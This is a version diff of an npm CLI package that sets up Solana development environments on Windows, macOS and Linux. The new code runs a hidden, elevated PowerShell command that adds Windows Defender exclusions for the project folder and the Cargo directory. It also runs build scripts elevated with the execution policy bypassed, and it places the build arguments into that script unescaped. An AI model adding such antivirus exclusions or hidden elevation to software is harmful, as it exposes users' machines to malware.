@xaidenlabs/uso 1.1.2 → 1.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/package.json +1 -1
- package/src/commands/create.js +14 -1
- package/src/commands/workflow.js +60 -40
package/README.md
CHANGED
|
@@ -2,7 +2,7 @@
|
|
|
2
2
|
|
|
3
3
|
The Universal Solana Orchestrator (USO) is a command-line interface designed to streamline the initialization and management of Solana development environments. By automating the installation of the Rust toolchain, Solana CLI, and Anchor framework, USO eliminates the complexity often associated with setting up a Web3 development workspace on Windows, macOS, and Linux.
|
|
4
4
|
|
|
5
|
-
This tool is engineered to support developers at all levels
|
|
5
|
+
This tool is engineered to support developers at all levels, from beginners setting up their first environment to senior engineers managing multiple workstations.
|
|
6
6
|
|
|
7
7
|
---
|
|
8
8
|
|
package/package.json
CHANGED
package/src/commands/create.js
CHANGED
|
@@ -1,8 +1,8 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const path = require('path');
|
|
3
|
+
const os = require('os');
|
|
3
4
|
const shell = require('shelljs');
|
|
4
5
|
const { log, spinner } = require('../utils/logger');
|
|
5
|
-
const { getCargoBinPath } = require('../utils/paths');
|
|
6
6
|
|
|
7
7
|
const create = async (projectName) => {
|
|
8
8
|
if (!projectName) {
|
|
@@ -37,6 +37,19 @@ const create = async (projectName) => {
|
|
|
37
37
|
return;
|
|
38
38
|
}
|
|
39
39
|
|
|
40
|
+
// 1b. Add Windows Defender exclusion for the project directory (prevents build blocks)
|
|
41
|
+
if (os.platform() === 'win32') {
|
|
42
|
+
const defSpin = spinner('Adding Windows Defender exclusion...').start();
|
|
43
|
+
const cargoHome = path.join(os.homedir(), '.cargo');
|
|
44
|
+
const cmd = `powershell -Command "Start-Process powershell -ArgumentList '-NoProfile', '-Command', 'Add-MpPreference -ExclusionPath \\\"${targetDir.replace(/\\/g, '\\\\')}\\\"; Add-MpPreference -ExclusionPath \\\"${cargoHome.replace(/\\/g, '\\\\')}\\\"' -Verb RunAs -WindowStyle Hidden -Wait"`;
|
|
45
|
+
const defResult = shell.exec(cmd, { silent: true });
|
|
46
|
+
if (defResult.code === 0) {
|
|
47
|
+
defSpin.succeed('Defender exclusion added (builds won\'t be blocked).');
|
|
48
|
+
} else {
|
|
49
|
+
defSpin.warn('Could not add Defender exclusion. Builds may be blocked by antivirus.');
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
|
|
40
53
|
// 2. Customize Project (Rename files and content)
|
|
41
54
|
log.info("✏️ Customizing project details...");
|
|
42
55
|
|
package/src/commands/workflow.js
CHANGED
|
@@ -22,13 +22,26 @@ const runProxyCommand = async (command, args = []) => {
|
|
|
22
22
|
return;
|
|
23
23
|
}
|
|
24
24
|
|
|
25
|
-
// Check for Windows privilege error (os error 1314 — symlink creation requires elevation)
|
|
26
25
|
const output = (execution.stderr || '') + (execution.stdout || '');
|
|
26
|
+
|
|
27
|
+
// Detect Windows-specific errors that require elevation
|
|
27
28
|
const isPrivilegeError = output.includes('os error 1314') || output.includes('A required privilege is not held by the client');
|
|
29
|
+
const isAppControlBlock = output.includes('os error 4551') || output.includes('Application Control policy has blocked');
|
|
28
30
|
|
|
29
|
-
if (isPrivilegeError && os.platform() === 'win32') {
|
|
30
|
-
|
|
31
|
-
|
|
31
|
+
if ((isPrivilegeError || isAppControlBlock) && os.platform() === 'win32') {
|
|
32
|
+
if (isAppControlBlock) {
|
|
33
|
+
log.warn("⚠️ Windows Application Control is blocking Cargo build scripts.");
|
|
34
|
+
} else {
|
|
35
|
+
log.warn("⚠️ Windows requires Administrator privileges for this operation.");
|
|
36
|
+
}
|
|
37
|
+
log.info("🔑 Requesting elevated access (build will run in background)...\n");
|
|
38
|
+
|
|
39
|
+
// Clean stale blocked artifacts before elevated retry
|
|
40
|
+
if (isAppControlBlock) {
|
|
41
|
+
const cleanSpin = spinner('Cleaning blocked build artifacts...').start();
|
|
42
|
+
shell.exec('cargo clean', { silent: true, cwd: process.cwd() });
|
|
43
|
+
cleanSpin.succeed('Build cache cleaned.');
|
|
44
|
+
}
|
|
32
45
|
|
|
33
46
|
await runElevatedWithProgress(command, args);
|
|
34
47
|
} else {
|
|
@@ -44,34 +57,41 @@ const runProxyCommand = async (command, args = []) => {
|
|
|
44
57
|
const runElevatedWithProgress = (command, args = []) => {
|
|
45
58
|
return new Promise((resolve) => {
|
|
46
59
|
const tmpDir = os.tmpdir();
|
|
47
|
-
const
|
|
48
|
-
const
|
|
49
|
-
const
|
|
60
|
+
const ts = Date.now();
|
|
61
|
+
const logFile = path.join(tmpDir, `uso-elevated-${ts}.log`).replace(/\\/g, '\\\\');
|
|
62
|
+
const doneFile = path.join(tmpDir, `uso-elevated-${ts}.done`).replace(/\\/g, '\\\\');
|
|
63
|
+
const logFileNormal = path.join(tmpDir, `uso-elevated-${ts}.log`);
|
|
64
|
+
const doneFileNormal = path.join(tmpDir, `uso-elevated-${ts}.done`);
|
|
65
|
+
const cwd = process.cwd().replace(/\\/g, '\\\\');
|
|
50
66
|
|
|
51
67
|
// Write an empty log file so we can start reading immediately
|
|
52
|
-
fs.writeFileSync(
|
|
53
|
-
|
|
54
|
-
// Build
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
$
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
//
|
|
68
|
+
fs.writeFileSync(logFileNormal, '', 'utf8');
|
|
69
|
+
|
|
70
|
+
// Build a PowerShell script file to avoid quoting hell
|
|
71
|
+
const scriptFile = path.join(tmpDir, `uso-elevated-${ts}.ps1`);
|
|
72
|
+
const scriptContent = [
|
|
73
|
+
`Set-Location "${cwd}"`,
|
|
74
|
+
`$env:PATH = [System.Environment]::GetEnvironmentVariable("PATH", "Machine") + ";" + [System.Environment]::GetEnvironmentVariable("PATH", "User")`,
|
|
75
|
+
`try {`,
|
|
76
|
+
` anchor ${command} ${args.join(' ')} 2>&1 | Tee-Object -FilePath "${logFile}" -Append`,
|
|
77
|
+
` $LASTEXITCODE | Out-File -FilePath "${doneFile}" -Encoding utf8`,
|
|
78
|
+
`} catch {`,
|
|
79
|
+
` $_.Exception.Message | Out-File -FilePath "${logFile}" -Encoding utf8 -Append`,
|
|
80
|
+
` "1" | Out-File -FilePath "${doneFile}" -Encoding utf8`,
|
|
81
|
+
`}`,
|
|
82
|
+
].join('\n');
|
|
83
|
+
|
|
84
|
+
fs.writeFileSync(scriptFile, scriptContent, 'utf8');
|
|
85
|
+
|
|
86
|
+
// Launch hidden elevated process using the script file
|
|
87
|
+
const elevateCmd = `powershell -Command "Start-Process powershell -ArgumentList '-NoProfile', '-ExecutionPolicy', 'Bypass', '-File', '${scriptFile.replace(/\\/g, '\\\\')}' -Verb RunAs -WindowStyle Hidden"`;
|
|
88
|
+
|
|
71
89
|
const elevateResult = shell.exec(elevateCmd, { silent: true });
|
|
72
90
|
|
|
73
91
|
if (elevateResult.code !== 0) {
|
|
74
92
|
log.error("❌ Failed to launch elevated process. Was the UAC prompt declined?");
|
|
93
|
+
// Cleanup
|
|
94
|
+
try { fs.unlinkSync(scriptFile); } catch (e) { /* ignore */ }
|
|
75
95
|
resolve();
|
|
76
96
|
return;
|
|
77
97
|
}
|
|
@@ -79,20 +99,20 @@ const runElevatedWithProgress = (command, args = []) => {
|
|
|
79
99
|
// Now poll the log file and show progress
|
|
80
100
|
const spin = spinner('Building with elevated privileges...').start();
|
|
81
101
|
let lastSize = 0;
|
|
82
|
-
let lastLine = '';
|
|
83
102
|
|
|
84
103
|
const pollInterval = setInterval(() => {
|
|
85
104
|
try {
|
|
86
105
|
// Check if process finished
|
|
87
|
-
if (fs.existsSync(
|
|
106
|
+
if (fs.existsSync(doneFileNormal)) {
|
|
88
107
|
clearInterval(pollInterval);
|
|
89
108
|
|
|
90
|
-
const exitCode = fs.readFileSync(
|
|
91
|
-
const fullLog = fs.readFileSync(
|
|
109
|
+
const exitCode = fs.readFileSync(doneFileNormal, 'utf8').trim();
|
|
110
|
+
const fullLog = fs.readFileSync(logFileNormal, 'utf8');
|
|
92
111
|
|
|
93
112
|
// Cleanup temp files
|
|
94
|
-
try { fs.unlinkSync(
|
|
95
|
-
try { fs.unlinkSync(
|
|
113
|
+
try { fs.unlinkSync(logFileNormal); } catch (e) { /* ignore */ }
|
|
114
|
+
try { fs.unlinkSync(doneFileNormal); } catch (e) { /* ignore */ }
|
|
115
|
+
try { fs.unlinkSync(scriptFile); } catch (e) { /* ignore */ }
|
|
96
116
|
|
|
97
117
|
if (exitCode === '0') {
|
|
98
118
|
spin.succeed(`'${command}' completed successfully (elevated).`);
|
|
@@ -109,29 +129,29 @@ const runElevatedWithProgress = (command, args = []) => {
|
|
|
109
129
|
return;
|
|
110
130
|
}
|
|
111
131
|
|
|
112
|
-
// Read new content
|
|
113
|
-
const stats = fs.statSync(
|
|
132
|
+
// Read new content for live progress
|
|
133
|
+
const stats = fs.statSync(logFileNormal);
|
|
114
134
|
if (stats.size > lastSize) {
|
|
115
|
-
const content = fs.readFileSync(
|
|
135
|
+
const content = fs.readFileSync(logFileNormal, 'utf8');
|
|
116
136
|
const lines = content.trim().split('\n').filter(l => l.trim());
|
|
117
137
|
if (lines.length > 0) {
|
|
118
|
-
lastLine = lines[lines.length - 1].trim();
|
|
119
|
-
// Show the last meaningful line as spinner text
|
|
138
|
+
const lastLine = lines[lines.length - 1].trim();
|
|
120
139
|
const displayLine = lastLine.length > 70 ? lastLine.substring(0, 67) + '...' : lastLine;
|
|
121
140
|
spin.text = displayLine;
|
|
122
141
|
}
|
|
123
142
|
lastSize = stats.size;
|
|
124
143
|
}
|
|
125
144
|
} catch (e) {
|
|
126
|
-
// File might not exist yet or be locked
|
|
145
|
+
// File might not exist yet or be locked
|
|
127
146
|
}
|
|
128
147
|
}, 500);
|
|
129
148
|
|
|
130
|
-
// Safety timeout: 10 minutes
|
|
149
|
+
// Safety timeout: 10 minutes
|
|
131
150
|
setTimeout(() => {
|
|
132
|
-
if (!fs.existsSync(
|
|
151
|
+
if (!fs.existsSync(doneFileNormal)) {
|
|
133
152
|
clearInterval(pollInterval);
|
|
134
153
|
spin.fail("Timed out waiting for elevated process (10 min).");
|
|
154
|
+
try { fs.unlinkSync(scriptFile); } catch (e) { /* ignore */ }
|
|
135
155
|
resolve();
|
|
136
156
|
}
|
|
137
157
|
}, 10 * 60 * 1000);
|